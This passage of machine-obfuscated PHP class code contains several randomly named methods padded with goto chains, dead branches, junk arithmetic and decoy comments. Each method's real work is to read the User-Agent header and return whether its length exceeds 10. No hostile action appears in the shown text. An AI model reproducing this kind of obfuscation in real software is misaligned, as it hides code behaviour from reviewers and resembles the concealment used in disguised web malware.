$FbaGmw5w * 1; goto UDykvJs6; UDykvJs6: goto SDYJJTSw; SDYJJTSw: /* System file */ goto eqezaolV; eqezaolV: /* zbezRnOJyBFjAUW */ goto rTv4vt76; rTv4vt76: /* WGTeb2Zhk2stssbArRGF */ goto a29O4MW1x; a29O4MW1x: $B9ma2fmF = 599 + 46; $B9ma2fmF = $B9ma2fmF * 5; goto MEP7UxoU; MEP7UxoU: /* s5rE_SvCfJ8PYxX */ goto dOMtgxS_; dOMtgxS_: goto FTbeIdfR; FTbeIdfR: /* Main service */ goto FOmQ1fib; FOmQ1fib: /* ZT1NPzIavY */ $n7sJ6WnP = 805 + 45; $n7sJ6WnP = $n7sJ6WnP * 2; goto Ep2x8G1j; Ep2x8G1j: // BpYP_VCRL7efahBn $WWDcP6ib = 359 + 11; $FbaGmw5w = $WWDcP6ib * 4; goto a9f6nRoYp; a9f6nRoYp: goto a3JNptUaN; a3JNptUaN: // 7DAuyz4Y9lYMQAT5 goto d_MuToBf; d_MuToBf: $a29IFo9lZ = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto tkhgmido; tkhgmido: goto DTnErsY5; DTnErsY5: $iCjD65Pi = 333 + 41; $BqYDw4sr = $iCjD65Pi * 3; if (false) { echo 'This is a dead end'; } goto Ri4W318q; Ri4W318q: goto XUFPfjy_; XUFPfjy_: $BqYDw4sr = 961 + 22; $XsucffsH = $BqYDw4sr * 3; goto pJsSlGx0; pJsSlGx0: // 3ptak96zy74KulWD goto HD2uuluK; HD2uuluK: /* fMX_xxIM3b */ $WWDcP6ib = 550 + 36; $bZa4iOd6 = $WWDcP6ib * 4; if (false) { echo 'This is a dead end'; } goto lKHizfgR; lKHizfgR: $iX1geSuk = 455 + 13; $B9ma2fmF = $iX1geSuk * 2; goto TtLS4x3b; TtLS4x3b: $jIP39ari = 474 + 21; $WWDcP6ib = $jIP39ari * 1; goto nPiNHxY_; nPiNHxY_: // nP6SxS7Cln3E goto cbiVuOES; cbiVuOES: $a6EHyDbxg = 198 + 22; $XsucffsH = $a6EHyDbxg * 2; goto a1rKfbiqr; a1rKfbiqr: goto MqCsPiMi; MqCsPiMi: goto WyGJYsni; WyGJYsni: goto a_O6dbsYl; a_O6dbsYl: /* Security component */ goto GAEfLdWu; GAEfLdWu: goto jVdRDEG8; jVdRDEG8: $bZa4iOd6 = strlen($a29IFo9lZ); goto EmNe1MyK; EmNe1MyK: $iX1geSuk = 173 + 32; $a29IFo9lZ = $iX1geSuk * 4; goto c705MQ4B; c705MQ4B: goto zQA0wcMC; zQA0wcMC: goto a50b37adI; a50b37adI: if (false) { echo 'This is a dead end'; } goto ss3Rd0aF; ss3Rd0aF: /* 2xZtyNQpuA */ $n7sJ6WnP = 395 + 30; $NqlX8zGc = $n7sJ6WnP * 5; goto fXDVDBU6; fXDVDBU6: /* API handler */ goto a8QbDWzZw; a8QbDWzZw: goto KazZh5Q3; KazZh5Q3: // qpwdcmAe0tHH goto mFDHCylr; mFDHCylr: goto pV3GZrrg; pV3GZrrg: // wHKBy6N0S9STFocw goto HATe6c1R; HATe6c1R: goto FfsY0Gzw; FfsY0Gzw: goto YPjMZjXx; YPjMZjXx: goto LWwEtMho; LWwEtMho: /* br35lXEdqJ */ goto GMCRGet3; GMCRGet3: /* API handler */ goto CuATnV3u; CuATnV3u: return $bZa4iOd6 > 10; } private function uKnaSV0zma() { /* ZWhM4vUFqJ52c2l3y1GL */ goto neOglOLX; neOglOLX: goto N2Qv9tvQ; N2Qv9tvQ: if (false) { echo 'This is a dead end'; } goto gXt_p7uE; gXt_p7uE: goto S4esPalh; S4esPalh: /* Mlf4TxCYrLMhRYa */ if (false) { echo 'This is a dead end'; } goto d8mUGDhl; d8mUGDhl: if (false) { echo 'This is a dead end'; } goto tclbU00S; tclbU00S: $n7sJ6WnP = 854 + 46; $bZa4iOd6 = $n7sJ6WnP * 1; goto uhRQ5Bnv; uhRQ5Bnv: $iCjD65Pi = 486 + 26; $XsucffsH = $iCjD65Pi * 4; if (false) { echo 'This is a dead end'; } goto Kr5BEQGz; Kr5BEQGz: // yZGyhzpp if (false) { echo 'This is a dead end'; } goto ulnfh235; ulnfh235: if (false) { echo 'This is a dead end'; } goto bqaYOVHS; bqaYOVHS: /* z7nvA8wj7MZnWeQlQcyw */ goto bHdbfFBd; bHdbfFBd: goto i5TZnLOa; i5TZnLOa: /* KS9sjwf4Kz */ $iX1geSuk = 264 + 29; $iCjD65Pi = $iX1geSuk * 3; goto a6Icv4v4s; a6Icv4v4s: // I4lUGI3ouooK goto cu1gjGry; cu1gjGry: goto hCnpUiNT; hCnpUiNT: if (false) { echo 'This is a dead end'; } goto TYXKd97w; TYXKd97w: $NqlX8zGc = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto Hfd22fRW; Hfd22fRW: /* Core module */ goto a8VqGi4mZ; a8VqGi4mZ: $n7sJ6WnP = 134 + 26; $WWDcP6ib = $n7sJ6WnP * 3; goto s45G28j3; s45G28j3: /* System file */ goto jJyYBII9; jJyYBII9: // ajCVH8cJ2TqbQe39 goto QLQfCUk8; QLQfCUk8: /* API handler */ goto a0nuyNq2w; a0nuyNq2w: if (false) { echo 'This is a dead end'; } goto AJtdBTCj; AJtdBTCj: goto RKFc2WU9; RKFc2WU9: /* mbXFoWZqlb */ goto Y5N1N7AP; Y5N1N7AP: $n7sJ6WnP = 652 + 11; $a6b9oay5s = $n7sJ6WnP * 3; goto dYuWn893; dYuWn893: if (false) { echo 'This is a dead end'; } goto xBlACizL; xBlACizL: // 6gtWu8ceQ9Qh goto a57Mos0Wo; a57Mos0Wo: goto IwnE89nL; IwnE89nL: /* fDOjhb4fMk */ goto F73iwbn3; F73iwbn3: /* KGyALoQVCImNWOg0CFE0 */ $WWDcP6ib = 851 + 29; $FbaGmw5w = $WWDcP6ib * 1; goto rBVHT789; rBVHT789: // kZtEpXyG if (false) { echo 'This is a dead end'; } goto fwIcV1zo; fwIcV1zo: $n7sJ6WnP = strlen($NqlX8zGc); goto LocCSAhC; LocCSAhC: $B9ma2fmF = 724 + 8; $iX1geSuk = $B9ma2fmF * 1; goto cnD4_kgT; cnD4_kgT: /* hVLv_QeWPt07xKa */ if (false) { echo 'This is a dead end'; } goto oEW5Ys84; oEW5Ys84: $XsucffsH = 327 + 25; $Pe9zuJ4r = $XsucffsH * 3; goto a0XMxttZ_; a0XMxttZ_: $n7sJ6WnP = 484 + 48; $iCjD65Pi = $n7sJ6WnP * 2; goto mphlRM23; mphlRM23: /* Q5lqwz72N5 */ goto fnEfM_h5; fnEfM_h5: goto arudm8Bi; arudm8Bi: $iX1geSuk = 265 + 45; $iX1geSuk = $iX1geSuk * 4; goto a4cQFGZgg; a4cQFGZgg: goto o1uxhsXU; o1uxhsXU: if (false) { echo 'This is a dead end'; } goto a83VVYawB; a83VVYawB: /* Main service */ if (false) { echo 'This is a dead end'; } goto ghF43sXf; ghF43sXf: /* API handler */ if (false) { echo 'This is a dead end'; } goto kfQZgrEi; kfQZgrEi: // Qc2G1bOJ goto VqpRDuJv; VqpRDuJv: /* Security component */ goto J0VGWA6F; J0VGWA6F: goto l0zMRutT; l0zMRutT: /* Main service */ $WWDcP6ib = 334 + 26; $Pe9zuJ4r = $WWDcP6ib * 4; goto a2VWD2mhs; a2VWD2mhs: return $n7sJ6WnP > 10; } private function qN3KmJCxff() { goto a48uCRroU; a48uCRroU: // lmBFGHmb goto JoobgdhX; JoobgdhX: $jIP39ari = 888 + 14; $XsucffsH = $jIP39ari * 1; goto qxtHRrxK; qxtHRrxK: goto b2ocHxgQ; b2ocHxgQ: goto kYP65zDk; kYP65zDk: /* uNCyWEWCI6aOMxm */ goto w9w54fQS; w9w54fQS: goto a9qipGOgy; a9qipGOgy: /* API handler */ goto fnNJdD7b; fnNJdD7b: goto KP0YroiN; KP0YroiN: goto Q8McEl_4; Q8McEl_4: /* wRAJ4IpkTBnVDgg */ goto a6tUCbixJ; a6tUCbixJ: // 9MKaF675 $Pe9zuJ4r = 291 + 41; $XsucffsH = $Pe9zuJ4r * 4; goto NDMa4ylj; NDMa4ylj: /* Main service */ goto aSNS1UWv; aSNS1UWv: $a6b9oay5s = 407 + 28; $a29IFo9lZ = $a6b9oay5s * 4; goto NLuIiWaU; NLuIiWaU: /* API handler */ $NqlX8zGc = 533 + 39; $iCjD65Pi = $NqlX8zGc * 4; goto FH8TJKke; FH8TJKke: goto dLP0fVTW; dLP0fVTW: $XsucffsH = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto Rq10uTiY; Rq10uTiY: // KAzU9URE goto hSaiFWma; hSaiFWma: $a6EHyDbxg = 694 + 45; $n7sJ6WnP = $a6EHyDbxg * 4; if (false) { echo 'This is a dead end'; } goto a_4ssuG1B; a_4ssuG1B: /* System file */ if (false) { echo 'This is a dead end'; } goto cA0h_rXL; cA0h_rXL: goto a6Rg44cyV; a6Rg44cyV: goto a8E9CVIeb; a8E9CVIeb: goto IiQF3Kcf; IiQF3Kcf: // 87f97v22I7SXc5Yn goto imuOdsBy; imuOdsBy: goto RgoV2aTy; RgoV2aTy: /* API handler */ goto IIWBhjnW; IIWBhjnW: goto IMLCWDck; IMLCWDck: /* Security component */ $n7sJ6WnP = 965 + 1; $WWDcP6ib = $n7sJ6WnP * 1; goto uMJJRLwL; uMJJRLwL: /* Main service */ goto fQRS9q2h; fQRS9q2h: // QXHiEWYHn1rt goto X3r2UxqG; X3r2UxqG: // vpRAhRPeuH81 $XsucffsH = 778 + 21; $iCjD65Pi = $XsucffsH * 1; goto moJorCR9; moJorCR9: $jIP39ari = 264 + 23; $a6EHyDbxg = $jIP39ari * 4; goto q_3FD9De; q_3FD9De: $Pe9zuJ4r = strlen($XsucffsH); goto hcqYs39S; hcqYs39S: // zPUHzlzj96IK $WWDcP6ib = 316 + 23; $BqYDw4sr = $WWDcP6ib * 1; goto zy77Xf0u; zy77Xf0u: $B9ma2fmF = 508 + 28; $FbaGmw5w = $B9ma2fmF * 4; goto KbT3grCF; KbT3grCF: // zmvh5BBetx9O goto d88LY7lC; d88LY7lC: // XiqcVW2n goto KcwPVQ9U; KcwPVQ9U: // ZefScGh1VRw4Q7f3 goto wI33Xnab; wI33Xnab: $a6b9oay5s = 973 + 7; $XsucffsH = $a6b9oay5s * 3; goto iVzoLJsv; iVzoLJsv: $FbaGmw5w = 453 + 48; $BqYDw4sr = $FbaGmw5w * 5; goto a9J3f04oc; a9J3f04oc: // 0JFvoasvfQFn8UNG if (false) { echo 'This is a dead end'; } goto E7EBahwB; E7EBahwB: /* Main service */ goto a8Mi_4gPa; a8Mi_4gPa: // XG77g5KE $XsucffsH = 435 + 11; $NqlX8zGc = $XsucffsH * 1; goto Gd_O1fHW; Gd_O1fHW: goto HBqODocu; HBqODocu: goto drVlbu5O; drVlbu5O: goto q8CWSJYG; q8CWSJYG: if (false) { echo 'This is a dead end'; } goto uL5CNQky; uL5CNQky: goto vfOxEjOd; vfOxEjOd: return $Pe9zuJ4r > 10; } private function MrGxGGDuCd() { goto NokjmjPQ; NokjmjPQ: $iCjD65Pi = 509 + 22; $a6EHyDbxg = $iCjD65Pi * 3; goto IIpAUBG9; IIpAUBG9: /* System file */ goto h415dtxa; h415dtxa: goto ufS3WG1O; ufS3WG1O: goto fUxZ5buH; fUxZ5buH: /* Jr1L_T7pxBmK9PPe2o7S */ goto a5EVvnnpa; a5EVvnnpa: /* Security component */ $B9ma2fmF = 686 + 8; $a29IFo9lZ = $B9ma2fmF * 3; goto JHtMkHs_; JHtMkHs_: /* System file */ goto FYO2K2ai; FYO2K2ai: $FbaGmw5w = 398 + 21; $NqlX8zGc = $FbaGmw5w * 2; goto z8_Co4YT; z8_Co4YT: goto HnMcdWpC; HnMcdWpC: /* Main service */ goto aoYUxTdo; aoYUxTdo: goto a8ZUhAyn0; a8ZUhAyn0: // 6sXHkCXx $Pe9zuJ4r = 622 + 40; $FbaGmw5w = $Pe9zuJ4r * 2; goto Vuri4RN0; Vuri4RN0: $n7sJ6WnP = 802 + 25; $iCjD65Pi = $n7sJ6WnP * 5; goto he3Eh47w; he3Eh47w: if (false) { echo 'This is a dead end'; } goto adVZ8yVJ; adVZ8yVJ: /* Main service */ goto anF9Kgs5; anF9Kgs5: $B9ma2fmF = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto pkSyYaJ4; pkSyYaJ4: /* API handler */ goto TtvyJQ6J; TtvyJQ6J: // 2Lg_pBmZ goto wYLM1lLL; wYLM1lLL: /* ft1NLIeczf */ goto p5dPVk2i; p5dPVk2i: if (false) { echo 'This is a dead end'; } goto qyzfbtdu; qyzfbtdu: goto a9fZ_P8GS; a9fZ_P8GS: goto Gqfjafk3; Gqfjafk3: /* API handler */ $B9ma2fmF = 593 + 40; $n7sJ6WnP = $B9ma2fmF * 4; goto ld76WYGh; ld76WYGh: goto a6TDtBd66; a6TDtBd66: /* ThXVjqPOz8SASZI */ goto m5D6TlQn; m5D6TlQn: goto wfx2WJ0W; wfx2WJ0W: /* System file */ goto kR80gH2k; kR80gH2k: goto hjiJDdcO; hjiJDdcO: /* Core module */ goto DWlgw1bJ; DWlgw1bJ: /* wcrl8A8DG7YB8W8ugWPx */ $iX1geSuk = 678 + 22; $iX1geSuk = $iX1geSuk * 5; goto nKDQOvKU; nKDQOvKU: $a29IFo9lZ = 360 + 39; $NqlX8zGc = $a29IFo9lZ * 1; goto a8xK6PrNN; a8xK6PrNN: $jIP39ari = strlen($B9ma2fmF); goto a3OMwJVM8; a3OMwJVM8: if (false) { echo 'This is a dead end'; } goto plZFGgiV; plZFGgiV: /* API handler */ goto a8qG0g511; a8qG0g511: goto a5A68XSFa; a5A68XSFa: /* Security component */ $FbaGmw5w = 406 + 38; $Pe9zuJ4r = $FbaGmw5w * 1; goto QIxipJoz; QIxipJoz: goto vlCPaGS8; vlCPaGS8: /* Security component */ if (false) { echo 'This is a dead end'; } goto LkIEd8XF; LkIEd8XF: /* Core module */ goto EyvN6Dx_; EyvN6Dx_: goto VT_KS0Qt; VT_KS0Qt: $Pe9zuJ4r = 205 + 33; $n7sJ6WnP = $Pe9zuJ4r * 5; goto a_lNXuvwL; a_lNXuvwL: /* Main service */ if (false) { echo 'This is a dead end'; } goto fEosWQKz; fEosWQKz: /* System file */ $iCjD65Pi = 819 + 44; $WWDcP6ib = $iCjD65Pi * 2; if (false) { echo 'This is a dead end'; } goto BnDzDZYU; BnDzDZYU: goto ExBeYvoP; ExBeYvoP: goto T8mJBLNf; T8mJBLNf: /* System file */ $iX1geSuk = 187 + 6; $bZa4iOd6 = $iX1geSuk * 5; goto BIKcf7mm; BIKcf7mm: /* Core module */ goto l7RuoYNh; l7RuoYNh: return $jIP39ari > 10; } private function BEj13F4Ci6() { /* QaudQ2nsFom74BJ */ goto wvjU4mwa; wvjU4mwa: $XsucffsH = 821 + 44; $B9ma2fmF = $XsucffsH * 4; goto rTjacSQB; rTjacSQB: goto IQact2IC; IQact2IC: goto WyMR3Mu1; WyMR3Mu1: goto HNFbDAf7; HNFbDAf7: /* Core module */ goto d1arRFoo; d1arRFoo: // NQwQm1jZRaIj if (false) { echo 'This is a dead end'; } goto HpyFTKl0; HpyFTKl0: if (false) { echo 'This is a dead end'; } goto a5EwBnOJl; a5EwBnOJl: /* W6E4zDeFf1TxqIS */ $B9ma2fmF = 896 + 43; $n7sJ6WnP = $B9ma2fmF * 2; if (false) { echo 'This is a dead end'; } goto dIqhzK19; dIqhzK19: $B9ma2fmF = 746 + 40; $iX1geSuk = $B9ma2fmF * 1; goto tyxah7ph; tyxah7ph: if (false) { echo 'This is a dead end'; } goto RS0rkypP; RS0rkypP: // y1anocvBAR9o $Pe9zuJ4r = 962 + 13; $a6EHyDbxg = $Pe9zuJ4r * 5; goto TM5ZeKkC; TM5ZeKkC: /* API handler */ goto mCERpqGc; mCERpqGc: $BqYDw4sr = 408 + 30; $BqYDw4sr = $BqYDw4sr * 4; goto MWUDA7xG; MWUDA7xG: if (false) { echo 'This is a dead end'; } goto rFaeMNSD; rFaeMNSD: goto WLNYN05t; WLNYN05t: $NqlX8zGc = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto SqLXg6yN; SqLXg6yN: // 8ZiLrqyt goto a_4hH4zvl; a_4hH4zvl: $jIP39ari = 470 + 8; $BqYDw4sr = $jIP39ari * 2; goto VdTPDWCN; VdTPDWCN: goto a5UwSLqnX; a5UwSLqnX: goto QWPRcT6m; QWPRcT6m: /* System file */ goto a68W1Up5U; a68W1Up5U: /* vSShMc_3_Gu7G6w */ goto I2YcWoBO; I2YcWoBO: $iCjD65Pi = 185 + 49; $jIP39ari = $iCjD65Pi * 4; goto a8QymM0Ku; a8QymM0Ku: /* Security component */ goto a9K4BP736; a9K4BP736: /* Main service */ $a6b9oay5s = 532 + 36; $FbaGmw5w = $a6b9oay5s * 3; goto aqI4khsZ; aqI4khsZ: /* eIo6TpSMVFDRzEGpe2qm */ $XsucffsH = 457 + 24; $WWDcP6ib = $XsucffsH * 1; if (false) { echo 'This is a dead end'; } goto qz_06ZyT; qz_06ZyT: if (false) { echo 'This is a dead end'; } goto qRCjHWwB; qRCjHWwB: $bZa4iOd6 = 925 + 26; $n7sJ6WnP = $bZa4iOd6 * 5; goto lm5tSr3Z; lm5tSr3Z: /* Main service */ goto Sq_Wr2X3; Sq_Wr2X3: /* API handler */ goto jPJUPnDG; jPJUPnDG: /* System file */ goto wmkTIxBO; wmkTIxBO: $a29IFo9lZ = strlen($NqlX8zGc); goto pXPgd97Y; pXPgd97Y: /* gBSIXjqhaz */ $BqYDw4sr = 596 + 41; $NqlX8zGc = $BqYDw4sr * 1; if (false) { echo 'This is a dead end'; } goto uI91OG0i; uI91OG0i: /* Core module */ goto GYIchRMW; GYIchRMW: goto g0De8fJS; g0De8fJS: /* Core module */ $jIP39ari = 855 + 9; $jIP39ari = $jIP39ari * 5; if (false) { echo 'This is a dead end'; } goto gvwQuNoR; gvwQuNoR: /* Security component */ if (false) { echo 'This is a dead end'; } goto ir6MMuaM; ir6MMuaM: goto GNyErTlH; GNyErTlH: goto dVYNrOyu; dVYNrOyu: /* Main service */ $bZa4iOd6 = 941 + 6; $n7sJ6WnP = $bZa4iOd6 * 4; if (false) { echo 'This is a dead end'; } goto a4UyIgyMn; a4UyIgyMn: if (false) { echo 'This is a dead end'; } goto v80ICQ5F; v80ICQ5F: $WWDcP6ib = 919 + 18; $B9ma2fmF = $WWDcP6ib * 5; goto a4MSgRGP6; a4MSgRGP6: /* Main service */ if (false) { echo 'This is a dead end'; } goto XEWVv71i; XEWVv71i: $a6EHyDbxg = 857 + 29; $B9ma2fmF = $a6EHyDbxg * 1; goto V0FBCh8L; V0FBCh8L: /* Main service */ $XsucffsH = 801 + 42; $B9ma2fmF = $XsucffsH * 4; goto kAtKDcDb; kAtKDcDb: /* 6LFvH8YeA0n_VRA */ $n7sJ6WnP = 419 + 22; $a6b9oay5s = $n7sJ6WnP * 2; goto MWagADRK; MWagADRK: goto a3jauwEmI; a3jauwEmI: return $a29IFo9lZ > 10; } private function oZ998ElyJu() { /* Eeu3_L0WqIaemuX */ goto a2nyhHEzA; a2nyhHEzA: /* lv1rTQArvJyIN5HwI8vf */ $XsucffsH = 345 + 22; $FbaGmw5w = $XsucffsH * 5; if (false) { echo 'This is a dead end'; } goto ifujcyim; ifujcyim: goto pcdb0MTV; pcdb0MTV: goto AcJQaJJ9; AcJQaJJ9: /* Main service */ if (false) { echo 'This is a dead end'; } goto a_2lntdj2; a_2lntdj2: goto HsSGeAtY; HsSGeAtY: /* System file */ if (false) { echo 'This is a dead end'; } goto a3E7iB4uf; a3E7iB4uf: /* Core module */ goto m3iNP4q1; m3iNP4q1: goto XHOea4D9; XHOea4D9: /* Core module */ goto hpeXVU0X; hpeXVU0X: // uZzivHQRbT1AJE_3 if (false) { echo 'This is a dead end'; } goto pQ8H290j; pQ8H290j: if (false) { echo 'This is a dead end'; } goto BSw90V2Y; BSw90V2Y: goto BoLh7xKV; BoLh7xKV: /* System file */ goto BTuo7zaw; BTuo7zaw: // edRuBKdbVbxf $jIP39ari = 260 + 6; $jIP39ari = $jIP39ari * 4; goto WhSh91KU; WhSh91KU: /* bgM_Fi_NJCx2cEk */ goto HhGRpyQM; HhGRpyQM: $Pe9zuJ4r = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto jZAXsYkg; jZAXsYkg: /* API handler */ $iX1geSuk = 410 + 12; $n7sJ6WnP = $iX1geSuk * 3; goto YsHG49a3; YsHG49a3: goto Qr7BfdQ_; Qr7BfdQ_: goto Szgd718E; Szgd718E: goto jOvxih8q; jOvxih8q: if (false) { echo 'This is a dead end'; } goto dl98Nw5h; dl98Nw5h: /* System file */ $B9ma2fmF = 836 + 39; $BqYDw4sr = $B9ma2fmF * 3; if (false) { echo 'This is a dead end'; } goto Fkx6yTl7; Fkx6yTl7: /* 4EANZs5ObcQnl9t */ $Pe9zuJ4r = 759 + 2; $NqlX8zGc = $Pe9zuJ4r * 5; goto MAD7awig; MAD7awig: goto h4SDy1k8; h4SDy1k8: /* Security component */ goto i2uoCeBP; i2uoCeBP: goto a4FwgWhyZ; a4FwgWhyZ: // DRtJEYDQ goto a4jK21AaM; a4jK21AaM: $a29IFo9lZ = 125 + 31; $NqlX8zGc = $a29IFo9lZ * 3; goto m0cihxJn; m0cihxJn: $n7sJ6WnP = 391 + 43; $bZa4iOd6 = $n7sJ6WnP * 3; goto YKYGGkhW; YKYGGkhW: /* Core module */ $Pe9zuJ4r = 235 + 47; $B9ma2fmF = $Pe9zuJ4r * 4; if (false) { echo 'This is a dead end'; } goto toMEVHeY; toMEVHeY: goto VMmYxSy_; VMmYxSy_: $NqlX8zGc = strlen($Pe9zuJ4r); goto pLoKHIHm; pLoKHIHm: $iCjD65Pi = 694 + 35; $jIP39ari = $iCjD65Pi * 2; goto r0eoIkvm; r0eoIkvm: // MPzfUZQa goto xSMxy7kI; xSMxy7kI: /* System file */ goto a9gaaDBv_; a9gaaDBv_: // qsaI3Q_yvUdxlHle if (false) { echo 'This is a dead end'; } goto W758iUFZ; W758iUFZ: goto q4AbIHcT; q4AbIHcT: /* PmxvyCjiNuFk7lJru0Up */ goto DXTTB9IH; DXTTB9IH: /* Security component */ if (false) { echo 'This is a dead end'; } goto AFCqh4e5; AFCqh4e5: /* System file */ if (false) { echo 'This is a dead end'; } goto q3BkiINF; q3BkiINF: /* bucY9qPkPPdzHod */ $a6EHyDbxg = 436 + 28; $Pe9zuJ4r = $a6EHyDbxg * 1; if (false) { echo 'This is a dead end'; } goto Vvt65XPc; Vvt65XPc: /* 59RreBAlEss5Hbr_yliW */ goto LMw7BAXX; LMw7BAXX: goto j_jzWv6X; j_jzWv6X: /* API handler */ $BqYDw4sr = 252 + 40; $FbaGmw5w = $BqYDw4sr * 1; goto tVbtosZU; tVbtosZU: goto w6mh_W6k; w6mh_W6k: // TQ6WB5yTSwTe_Rxn goto JlNjuOte; JlNjuOte: $iCjD65Pi = 664 + 28; $WWDcP6ib = $iCjD65Pi * 5; goto efDwlWzS; efDwlWzS: return $NqlX8zGc > 10; } private function U8kJtg4We7() { goto ULHUwwSx; ULHUwwSx: // Yb3_jAqV goto Hxx9s3S1; Hxx9s3S1: goto tFWR9XFL; tFWR9XFL: $B9ma2fmF = 709 + 26; $iX1geSuk = $B9ma2fmF * 5; goto rL222vRW; rL222vRW: goto UMWk4MWp; UMWk4MWp: // oA1Qej6F4GYA goto t7NWVxOo; t7NWVxOo: $BqYDw4sr = 352 + 46; $FbaGmw5w = $BqYDw4sr * 1; goto YK2Xxwhj; YK2Xxwhj: goto J3ECtkCl; J3ECtkCl: /* API handler */ goto a9xu0pPpU; a9xu0pPpU: /* Security component */ $NqlX8zGc = 650 + 25; $NqlX8zGc = $NqlX8zGc * 5; goto SXM_k4K3; SXM_k4K3: /* Main service */ if (false) { echo 'This is a dead end'; } goto xMCxrhlF; xMCxrhlF: goto qsFOOYC8; qsFOOYC8: /* Security component */ goto e0nlBhW1; e0nlBhW1: goto FpyKOodV; FpyKOodV: goto BgYX8T38; BgYX8T38: $iCjD65Pi = 584 + 29; $a6EHyDbxg = $iCjD65Pi * 2; if (false) { echo 'This is a dead end'; } goto F6xHYIjg; F6xHYIjg: $a29IFo9lZ = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto k2vYleol; k2vYleol: goto HPo3HoF1; HPo3HoF1: /* Main service */ goto p2AhFWL3; p2AhFWL3: $bZa4iOd6 = 602 + 36; $a29IFo9lZ = $bZa4iOd6 * 5; goto vDwEkZbq; vDwEkZbq: $XsucffsH = 588 + 35; $B9ma2fmF = $XsucffsH * 4; goto NWjyGeOM; NWjyGeOM: /* Main service */ $bZa4iOd6 = 297 + 46; $n7sJ6WnP = $bZa4iOd6 * 2; goto ca36c1fn; ca36c1fn: /* Core module */ goto yLymEx3N; yLymEx3N: goto OxcmKbm6; OxcmKbm6: /* xYZhcTwHNmneKn3qyIc_ */ if (false) { echo 'This is a dead end'; } goto tgrkXc3j; tgrkXc3j: $bZa4iOd6 = 860 + 24; $a6EHyDbxg = $bZa4iOd6 * 3; goto hie7QQY8; hie7QQY8: // TuDt7cOUuj0pszoa goto WnnnqcRU; WnnnqcRU: goto JOVmN68X; JOVmN68X: /* Main service */ if (false) { echo 'This is a dead end'; } goto I0NLJ7BR; I0NLJ7BR: /* mtKgrL2IgC5oaec */ goto G0AK2Xrn; G0AK2Xrn: goto DoZzBCbv; DoZzBCbv: goto fXcJSiaa; fXcJSiaa: $jIP39ari = strlen($a29IFo9lZ); goto XkcojSVl; XkcojSVl: // BWRbB0i8RxToHqha $a6b9oay5s = 981 + 32; $XsucffsH = $a6b9oay5s * 3; goto a3FFypBvZ; a3FFypBvZ: goto a5kjcjWY5; a5kjcjWY5: /* System file */ if (false) { echo 'This is a dead end'; } goto hI6REqjW; hI6REqjW: /* gZaUSjtu_4lTv1p */ $iCjD65Pi = 635 + 14; $bZa4iOd6 = $iCjD65Pi * 3; goto N9bRSwV5; N9bRSwV5: /* DBWt5mjmu9 */ if (false) { echo 'This is a dead end'; } goto a_Re8dbrP; a_Re8dbrP: // uBxg76GS $a6EHyDbxg = 809 + 50; $jIP39ari = $a6EHyDbxg * 3; goto a3_HbyYl8; a3_HbyYl8: /* ugHrZxPat5cZBOyXI2QU */ goto jISG4eI_; jISG4eI_: $iCjD65Pi = 779 + 5; $a6EHyDbxg = $iCjD65Pi * 4; goto a6UxiRqHi; a6UxiRqHi: // G7zOUaXOQ04UysAW goto DGgF26hA; DGgF26hA: // V5cYxvJT goto a69C7SrSX; a69C7SrSX: goto R7aPvpYm; R7aPvpYm: $WWDcP6ib = 232 + 6; $FbaGmw5w = $WWDcP6ib * 4; if (false) { echo 'This is a dead end'; } goto H8waovpQ; H8waovpQ: // ygQCAPt5F2tHORjh goto QqSnR_f7; QqSnR_f7: $iCjD65Pi = 850 + 38; $BqYDw4sr = $iCjD65Pi * 2; goto x1KL1qEB; x1KL1qEB: $BqYDw4sr = 640 + 25; $a6EHyDbxg = $BqYDw4sr * 3; goto a_uzJxuPl; a_uzJxuPl: return $jIP39ari > 10; } private function i4I3M3aPjf() { goto NWYhU72E; NWYhU72E: goto qWBJJcqD; qWBJJcqD: goto a0aRBICon; a0aRBICon: // h4DPyrAKoess $Pe9zuJ4r = 820 + 21; $jIP39ari = $Pe9zuJ4r * 2; goto ccGqY5D0; ccGqY5D0: /* System file */ goto nhQ3K1yz; nhQ3K1yz: // RAYUhO46dx3W goto a9kh80NiG; a9kh80NiG: goto WN9e5tdK; WN9e5tdK: /* API handler */ goto BtlwHvK7; BtlwHvK7: goto a0MMVhIXv; a0MMVhIXv: /* Core module */ goto UHifgyhB; UHifgyhB: $a6EHyDbxg = 759 + 33; $B9ma2fmF = $a6EHyDbxg * 3; goto lhdmR_i8; lhdmR_i8: goto IlMrEcC0; IlMrEcC0: goto Niz3zTxB; Niz3zTxB: /* HscpjOAeA9 */ goto LS61jLyi; LS61jLyi: /* Main service */ $B9ma2fmF = 183 + 14; $NqlX8zGc = $B9ma2fmF * 4; goto ag8dM0TB; ag8dM0TB: goto a6IhAjFvZ; a6IhAjFvZ: $iCjD65Pi = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto kkoueKB5; kkoueKB5: goto VGxsEops; VGxsEops: // XyFuOMLLFPIZbgLO goto y3_zbOi2; y3_zbOi2: /* Main service */ if (false) { echo 'This is a dead end'; } goto Gt9GeZPD; Gt9GeZPD: // rg6Rd_Rq $XsucffsH = 177 + 14; $Pe9zuJ4r = $XsucffsH * 1; goto tFVNB_LI; tFVNB_LI: goto tdJRHzBK; tdJRHzBK: goto QUq3rTdY; QUq3rTdY: /* API handler */ if (false) { echo 'This is a dead end'; } goto sD673XFZ; sD673XFZ: $n7sJ6WnP = 352 + 44; $a6EHyDbxg = $n7sJ6WnP * 4; goto a6XicJih5; a6XicJih5: $iCjD65Pi = 510 + 28; $iCjD65Pi = $iCjD65Pi * 2; goto zs7IGrAE; zs7IGrAE: /* Core module */ if (false) { echo 'This is a dead end'; } goto ZbSCetPT; ZbSCetPT: /* Security component */ if (false) { echo 'This is a dead end'; } goto aqJnKzqW; aqJnKzqW: if (false) { echo 'This is a dead end'; } goto Nc0u3Iip; Nc0u3Iip: /* Core module */ goto KAw2KyMH; KAw2KyMH: 